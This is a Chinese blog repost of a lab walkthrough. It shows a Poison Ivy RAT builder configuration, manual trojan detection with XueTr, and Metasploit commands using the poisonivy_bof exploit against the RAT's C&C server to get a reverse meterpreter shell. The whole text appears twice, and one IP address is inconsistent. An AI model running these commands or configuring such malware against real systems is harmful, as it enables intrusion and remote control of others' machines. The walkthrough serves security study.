PoisonIvy Rat 远程溢出实战
程序员文章站
2022-03-12 16:07:22
这个Exploit已经集成在最新版本的Msf中了,老外的文章里也有源文件,可以修改后单独提出来.... 12-07-09...
from&thx2:
http://badishi.com/poison-ivy-exploit-metasploit-module/
https://twitter.com/badishi
这个exploit已经集成在最新版本的msf中了,老外的文章里也有源文件,可以修改后单独提出来.
首先为了模拟完整的环境,第一步是抓到已经成为肉鸡的电脑上反向连接的ip,这里顺便介绍下简单ark工具的使用及手工查马的方法吧.
pi的反向连接配置,这里填的静态ip
启动项及释放目录等,同时设定的插默认浏览器和svchost.exe.
完整的配置信息如下:
- connection
connect to: 92.168.124.134:3460:0,
id: test
group:
password: admin
connect through proxy: no
- install
activex startup: yes
activex key: {344d13dd-52af-dd3f-2a33-ed4792414430}
copy file: yes
file name: svchost.exe
copy file to: system folder
melt file: yes
- advanced
process mutex: )!voqa.i4
inject server: yes
persistence: no
inject into running process: yes
inject into: svchost.exe
key logger: no
format: pe
file alignment: 512
- build
icon: no
execute third-party applications: no
在demo机器中运行,然后上线了.
demo机器中手工用xuetr查杀,手工查杀木马的方法,对于ring3层下的无非就是可疑进程,可疑连接,可疑dll模块,可疑启动项(服务),等等这些了.这里直接参考建立的网络连接.都能看到这里并没有打开ie却有了ie的进程,并且是已经连接的状态了.于是得到c&c的ip地址.
请出msf黑火星的神器.
msf>search poisonivy
找到exp位置
msf>use /exploit/windows/misc/poisonivy_bof
设定使用exp
msf>show options
查看下设定,只要设定下远程ip(c&c服务器)地址就可以了.
msf>set rhost 192.168.124.134
检查下是否存在漏洞
msf>check
ok.. just exploit it!
msf>exploit
默认会返回一个反连的meterpreter会话.
最后.测试了下全补丁版本的windows 2k3 enterprise,可能因为dep和alsr技术的原因,没有完全bypass具体的原因没有深入下去了.
http://badishi.com/poison-ivy-exploit-metasploit-module/
https://twitter.com/badishi
这个exploit已经集成在最新版本的msf中了,老外的文章里也有源文件,可以修改后单独提出来.
首先为了模拟完整的环境,第一步是抓到已经成为肉鸡的电脑上反向连接的ip,这里顺便介绍下简单ark工具的使用及手工查马的方法吧.
pi的反向连接配置,这里填的静态ip
启动项及释放目录等,同时设定的插默认浏览器和svchost.exe.
完整的配置信息如下:
- connection
connect to: 92.168.124.134:3460:0,
id: test
group:
password: admin
connect through proxy: no
- install
activex startup: yes
activex key: {344d13dd-52af-dd3f-2a33-ed4792414430}
copy file: yes
file name: svchost.exe
copy file to: system folder
melt file: yes
- advanced
process mutex: )!voqa.i4
inject server: yes
persistence: no
inject into running process: yes
inject into: svchost.exe
key logger: no
format: pe
file alignment: 512
- build
icon: no
execute third-party applications: no
在demo机器中运行,然后上线了.
demo机器中手工用xuetr查杀,手工查杀木马的方法,对于ring3层下的无非就是可疑进程,可疑连接,可疑dll模块,可疑启动项(服务),等等这些了.这里直接参考建立的网络连接.都能看到这里并没有打开ie却有了ie的进程,并且是已经连接的状态了.于是得到c&c的ip地址.
请出msf黑火星的神器.
msf>search poisonivy
找到exp位置
msf>use /exploit/windows/misc/poisonivy_bof
设定使用exp
msf>show options
查看下设定,只要设定下远程ip(c&c服务器)地址就可以了.
msf>set rhost 192.168.124.134
检查下是否存在漏洞
msf>check
ok.. just exploit it!
msf>exploit
默认会返回一个反连的meterpreter会话.
最后.测试了下全补丁版本的windows 2k3 enterprise,可能因为dep和alsr技术的原因,没有完全bypass具体的原因没有深入下去了.